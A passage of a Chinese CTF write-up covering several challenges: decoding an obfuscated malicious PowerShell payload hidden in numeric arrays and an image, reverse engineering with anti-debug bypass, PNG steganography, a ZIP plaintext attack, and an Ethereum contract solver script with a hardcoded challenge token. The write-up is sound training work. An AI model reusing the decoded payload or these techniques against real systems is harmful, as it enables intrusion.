 50    699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
 51    699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
 52    698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
 53    650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
 54    702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
 55    655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
 56    698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
 57    653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
 58    703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
 59    658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
 60    698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
 61    702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
 62    703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
 63    699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
 64    702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
 65    703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
 66    699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
 67    703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
 68    698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
 69    650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
 70    657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
 71    651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
 72    657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
 73    650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
 74    702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
 75    656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
 76    702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
 77    700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
 78    698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
 79    657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
 80    698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
 81    653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
 82    698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
 83    653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
 84    657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
 85    699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
 86    699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
 87    653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
 88    698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
 89    650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
 90    657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
 91    651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
 92    698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
 93    703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
 94    702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
 95    701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
 96    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
 97    656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
 98    702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
 99    654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
100    702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
101    654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
102    698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
103    702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
104    702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
105    701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
106    702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
107    699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
108    703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
109    700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
110    703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
111    653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
112    698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
113    700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
114    702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
115    701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
116    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
117    651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
118    658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
119    700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
120    702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
121    633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
122    711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
123    647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
124    640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
125    640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
126    711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
127    716, 717, 715, 706, 711, 704, 641, 652, 642
128]
129
130# --- 执行解码并打印结果 ---
131
132decoded_object_name = decode_string_from_numbers(array_for_object)
133decoded_payload_command = decode_string_from_numbers(array_for_payload)
134
135print("--- 解码结果 ---")
136print("\n[+] 解码后的ActiveX对象名称:")
137print(decoded_object_name)
138
139print("\n[!] 解码后的恶意Payload (PowerShell命令):")
140print(decoded_payload_command)
141print("\n--- 分析结束 ---")

又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下

01e93253-6320-4644-a656-f1cfdc8e3ffd

解出来有个图片,访问一下下载下来,010看看

10c6d647-5e4e-4452-afed-c26c46ee5243

发现是被处理过的powershell代码

81ac7a90-2e95-4ee4-9808-887617c82653

丢给gemini让他写个分析的脚本

 1import re
 2
 3
 4def parse_obfuscated_ps1(file_path):
 5    """
 6    解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。
 7
 8    参数:
 9    file_path (str): s.ps1 文件的路径。
10
11    返回:
12    str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
13    """
14    try:
15        with open(file_path, 'r', encoding='utf-8') as f:
16            content = f.read()
17    except Exception as e:
18        return f"错误:无法读取文件 {file_path}。原因: {e}"
19
20    # 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
21    # 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
22    # $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
23    var_map = {
24        'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
25        'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
26    }
27
28    # 2. 从完整脚本中定位并提取核心载荷部分
29    # 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
30    match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
31    if not match:
32        return "错误:未能在文件中找到预期的混淆载荷格式。"
33
34    payload = match.group(1)
35
36    # 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
37    payload = payload.replace('+', '')
38    char_code_chunks = payload.split('$g')
39
40    # 4. 解码每个块
41    decoded_script = ""
42    # 第一个块是空的,从第二个开始遍历
43    for chunk in char_code_chunks:
44        if not chunk:
45            continue
46
47        num_str = ""
48        # 将块中的每个字符变量替换为其对应的数字
49        for char_var in chunk:
50            num_str += var_map.get(char_var, '')
51
52        if num_str:
53            try:
54                # 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
55                char_code = int(num_str)
56                decoded_script += chr(char_code)
57            except (ValueError, OverflowError):
58                # 如果转换失败,则忽略这个块
59                pass
60
61    return decoded_script
62
63
64# --- 使用示例 ---
65# 请将 's.ps1' 替换为您文件的实际路径
66file_to_parse = 's.ps1'
67deobfuscated_code = parse_obfuscated_ps1(file_to_parse)
68
69print("--- 解码后的 PowerShell 脚本 ---")
70print(deobfuscated_code)

解出来就有了

4d2342a4-cc78-4e0f-9b02-864e1bbf7333

obfusheader.h

知识点省流

动调跟踪数据流

WP

先去花

然后开始分析,搜索字符串找到输入的地方

daa967b0-4b57-4ada-ac15-68cf2ad841c3

定位到函数中,打上硬件断点,开始调试

9e4b2a15-5bfd-4fc3-81e0-bfec14401c64

简单测试一下可以知道输入长度是40,0x28

3cfa4577-3b7b-41f4-bef3-b96a44e20c8e

3b35e68f-8ede-4179-9e93-0d4dd30faff4

往下走,这里计算了字符串长度

b9088388-2453-4097-8223-ef3664c59ec4

接着往下走,这里函数进行了异或

8cc0ca11-ccc1-4699-ab37-d8b999184bd3

接着往下走,提取密文

62c18f4a-63d9-49d4-ae90-b4c88ef71fa6

然后拿厨子跟我们输入的a解异或得到异或的key

5442f61d-96af-468e-9a1d-93f42a4dcdd2

接着调试,往下走,这里函数执行了一波高低位互换取反

a3820d16-eda8-45f2-b4f2-06b405a97dec

接着走,直到程序输出加密完成,这里就是我们要的密文

37fc6758-478c-461f-bf9c-25c311888155

提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好

1enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]
2
3def decode_byte(b):
4    b = ~b & 0xFF                      # 取反并确保保持8位
5    return ((b >> 4) | (b << 4)) & 0xFF  # 高低4位交换
6
7result = [decode_byte(b) for b in enc]
8print(result)

最后在厨子那再处理一下,然后用前面的key去异或即可得到flag

36980f7f-3795-42ae-be3f-eeb9cde69f3f

Qt_Creator

知识点省流

qt程序逆向

WP

简单的qt逆向

装好之后拿ida分析,发现调试就退出 应该是有反调试

字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试

3201694a-2435-400e-9e27-360151ec88c6

进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里 简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断

41122bcb-41a4-44ae-8cc0-4fb8d5ca8111

在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换

双击进入即可看到下面的flag

7be93ccc-b200-409f-b2ed-abec17a974c8

Misc

v我50(R)MB

知识点省流

奇妙的用户侧数据泄露(?)

WP

根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的

看了看都不行

遂抓包,抓那个图片的链接

一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)

提前放出附件

知识点省流

压缩包明文攻击-tar变种

WP

给了个store存储的加密zip

明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了

f5babd42-5a7b-4c14-9fd0-152a3168fe06

PNG Master

知识点省流

png考点小串烧

WP

给了png

lsb藏了一段flag

010图片末尾藏了一段flag

最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档

其中一个里面有零宽字节,解出来提示是文件名xor

拿secret跟里面的内容异或得到第三段flag

Blockchain

生蚝的宝藏

知识点省流

有点小套的区块链源码反汇编解密

WP

没有给代码,只有靶机,连接后选项1创建账号,2生成合约

梭个脚本去读取合约中的字节码

 1import requests
 2import json
 3
 4RPC_URL = "http://106.15.138.99:8545/"
 5TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
 6CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
 7TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"
 8
 9headers = {"Authorization": f"Bearer {TOKEN}"}
10
11# Slot 0
12payload_storage = {
13    "jsonrpc": "2.0",
14    "method": "eth_getStorageAt",
15    "params": [CONTRACT_ADDR, "0x0", "latest"],
16    "id": 1
17}
18slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
19print("Slot 0:", slot_0)
20
21
22def get_tx():
23    payload = {
24        "jsonrpc": "2.0",
25        "method": "eth_getTransactionByHash",
26        "params": [TX_HASH],
27        "id": 1
28    }
29    try:
30        print("尝试请求交易信息...")
31        resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
32        data = resp.get('result')
33        if data is None:
34            print("无返回内容:", json.dumps(resp, indent=2))
35        else:
36            # 打印 json 格式内容
37            print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
38        return data
39    except Exception as e:
40        print("请求失败:", e)
41
42
43tx_content = get_tx()

得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下

image-20250818023412652

得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)

image-20250818023504167

反汇编一下合约字节码 https://app.dedaub.com/decompile

上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码

 1// Decompiled by library.dedaub.com
 2// 2025.08.15 13:23 UTC
 3// Compiled using the solidity compiler version 0.8.9
 4
 5// Data structures and variables inferred from the use of storage instructions
 6uint256[] ___function_selector__; // STORAGE[0x0]
 7bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0
 8
 9// Note: The function selector is not present in the original solidity code.
10// However, we display it for the sake of completeness.
11
12function __function_selector__() public payable { 
13    MEM[64] = 128;
14    require(!msg.value);
15    MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
16    MEM[64] = MEM[64] + (this.code.size - 2032);
17    require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
18    require(MEM[MEM[64]] <= uint64.max);
19    require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
20    v0 = MEM[MEM[64] + MEM[MEM[64]]];
21    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
22    require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
23    MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
24    require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
25    v1 = v2 = 0;
26    while (v1 < v0) {
27        MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
28        v1 += 32;
29    }
30    if (v1 > v0) {
31        MEM[MEM[64] + v0 + 32] = 0;
32    }
33    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
34    v3 = new bytes[](v0);
35    if (v0) {
36        CALLDATACOPY(v3.data, msg.data.length, v0);
37    }
38    v4 = v5 = 0;
39    while (v4 < v0) {
40        require(v6.length, Panic(18)); // division by zero
41        require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
42        require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
43        require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
44        MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
45        require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
46        v4 += 1;
47    }
48    v7 = v8 = v3.data;
49    v9 = v10 = ___function_selector__.length >> 1;
50    if (!(___function_selector__.length & 0x1)) {
51        v9 = v11 = v10 & 0x7f;
52    }
53    require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
54    v12 = v13 = ___function_selector__.data;
55    if (v3.length) {
56        if (31 < v3.length) {
57            ___function_selector__.length = 1 + (v3.length + v3.length);
58            if (v3.length) {
59                while (v8 + v3.length > v7) {
60                    STORAGE[v12] = MEM[v7];
61                    v7 += 32;
62                    v12 += 1;
63                }
64            }
65        } else {
66            ___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
67        }
68    } else {
69        ___function_selector__.length = 0;
70    }
71    while (v13 + (31 + v9 >> 5) > v12) {
72        STORAGE[v12] = 0;
73        v12 += 1;
74    }
75    stor_1_0_0 = 0;
76    MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
77    return MEM[0:1113];
78}

上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分

 1// Decompiled by library.dedaub.com
 2// 2025.08.15 16:53 UTC
 3// Compiled using the solidity compiler version 0.8.9
 4
 5// Data structures and variables inferred from the use of storage instructions
 6uint256[] array_0; // STORAGE[0x0]
 7bool _isSolved; // STORAGE[0x1] bytes 0 to 0
 8
 9function fallback() public payable { 
10    revert();
11}
12
13function 0x5cc4d812(bytes varg0) public payable { 
14    require(msg.data.length - 4 >= 32);
15    require(varg0 <= uint64.max);
16    require(4 + varg0 + 31 < msg.data.length);
17    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
18    v0 = new bytes[](varg0.length);
19    require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
20    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
21    CALLDATACOPY(v0.data, varg0.data, varg0.length);
22    v0[varg0.length] = 0;
23    require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
24    v1 = new bytes[](v0.length);
25    if (v0.length) {
26        CALLDATACOPY(v1.data, msg.data.length, v0.length);
27    }
28    v2 = v3 = 0;
29    while (v2 < v0.length) {
30        require(v4.length, Panic(18)); // division by zero
31        require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
32        require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
33        require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
34        MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
35        require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
36        v2 += 1;
37    }
38    v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
39    v6 = v7 = 0;
40    while (v6 < v1.length) {
41        MEM[v6 + v5.data] = v1[v6];
42        v6 += 32;
43    }
44    if (v6 > v1.length) {
45        MEM[v5.data + v1.length] = 0;
46    }
47    MEM[64] = v1.length + v5.data;
48    v8 = v5.length;
49    v9 = v5.data;
50    v10 = new uint256[](v11 - MEM[64] - 32);
51    v11 = v12 = 0;
52    v13 = v14 = array_0.length >> 1;
53    if (!(array_0.length & 0x1)) {
54        v13 = v15 = v14 & 0x7f;
55    }
56    require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
57    if (!(array_0.length & 0x1)) {
58        MEM[v10.data] = bytes31(array_0.length);
59        v11 = v16 = v10.data + v13;
60    } else if (array_0.length & 0x1 == 1) {
61        v17 = v18 = array_0.data;
62        v19 = v20 = 0;
63        while (v19 < v13) {
64            MEM[v19 + v10.data] = STORAGE[v17];
65            v17 += 1;
66            v19 += 32;
67        }
68        v11 = v21 = v10.data + v13;
69    }
70    v22 = v10.length;
71    v23 = v10.data;
72    require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
73    _isSolved = 1;
74}
75
76function isSolved() public payable { 
77    return _isSolved;
78}
79
80// Note: The function selector is not present in the original solidity code.
81// However, we display it for the sake of completeness.
82
83function __function_selector__( function_selector) public payable { 
84    MEM[64] = 128;
85    require(!msg.value);
86    if (msg.data.length >= 4) {
87        if (0x5cc4d812 == function_selector >> 224) {
88            0x5cc4d812();
89        } else if (0x64d98f6e == function_selector >> 224) {
90            isSolved();
91        }
92    }
93    fallback();
94}

经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了

问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来

经过各种尝试和ai拷打都没有结果

后面我注意到两点

一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)

ee8c4180-94db-4553-ab00-c8a177d950b3

太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文

43c6223b-010c-452e-8dc3-cfc4b459f8a4

这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行

过了会又想到可能真正的key是’key_77486f5f'

试了一下就出了,又被套娃到了

exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的

  1#!/usre/bin/env python3
  2import socket
  3import re
  4import time
  5import requests
  6from web3 import Web3
  7from eth_account import Account
  8from Crypto.Hash import keccak
  9import json
 10
 11# Configuration
 12RPC_URL = "http://106.15.138.99:8545/"
 13FAUCET_URL = "http://106.15.138.99:8080/"
 14NC_HOST = "challenge.xinshi.fun"
 15NC_PORT = 44088
 16
 17
 18def connect_nc(host, port):
 19    """Connect to NC server"""
 20    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 21    s.connect((host, port))
 22    return s
 23
 24
 25def send_and_receive(sock, message, timeout=2):
 26    """Send message and receive response"""
 27    sock.send((message + '\n').encode())
 28    time.sleep(timeout)
 29    data = b''
 30    sock.settimeout(0.5)
 31    while True:
 32        try:
 33            chunk = sock.recv(4096)
 34            if not chunk:
 35                break
 36            data += chunk
 37        except socket.timeout:
 38            break
 39    return data.decode('utf-8', errors='ignore')
 40
 41
 42def create_account():
 43    """Step 1: Create account and get token"""
 44    print("[*] Creating account...")
 45    sock = connect_nc(NC_HOST, NC_PORT)
 46
 47    # Receive initial message
 48    initial = send_and_receive(sock, "", timeout=1)
 49    print(initial)
 50
 51    # Send choice 1
 52    response = send_and_receive(sock, "1")
 53    print(response)
 54
 55    # Parse deployer account and token
 56    deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
 57    token_match = re.search(r'token: ([^\s]+)', response)
 58
 59    if not deployer_match or not token_match:
 60        raise Exception("Failed to parse account info")
 61
 62    deployer_address = deployer_match.group(1)
 63    token = token_match.group(1)
 64
 65    sock.close()
 66
 67    print(f"[+] Deployer Address: {deployer_address}")
 68    print(f"[+] Token: {token}")
 69
 70    return deployer_address, token
 71
 72
 73def get_faucet(address, token):
 74    """Get test ETH from faucet"""
 75    print(f"[*] Getting ETH from faucet for {address}...")
 76
 77    headers = {
 78        'Authorization': f'Bearer {token}',
 79        'Content-Type': 'application/json'
 80    }
 81
 82    data = {
 83        'address': address
 84    }
 85
 86    try:
 87        response = requests.post(FAUCET_URL, headers=headers, json=data)
 88        print(f"[+] Faucet response: {response.status_code}")
 89        if response.status_code == 200:
 90            print("[+] Successfully got ETH from faucet")
 91        else:
 92            print(f"[!] Faucet request may have failed: {response.text}")
 93    except Exception as e:
 94        print(f"[!] Faucet error: {e}")
 95
 96    # Wait for transaction to be mined
 97    time.sleep(5)
 98
 99
100def wait_for_eth(address, min_balance=0.001, timeout=200):
101    """Wait for ETH to arrive in account"""
102    print(f"[*] Waiting for ETH in account {address}...")
103    print(f"[*] Minimum balance required: {min_balance} ETH")
104    print(f"[*] Timeout: {timeout} seconds")
105
106    w3 = Web3(Web3.HTTPProvider(RPC_URL))
107    start_time = time.time()
108
109    while time.time() - start_time < timeout:
110        try:
111            balance = w3.eth.get_balance(address)
112            balance_eth = w3.from_wei(balance, 'ether')
113
114            if balance_eth >= min_balance:
115                print(f"[+] Balance found: {balance_eth} ETH")
116                return True
117            else:
118                elapsed = int(time.time() - start_time)
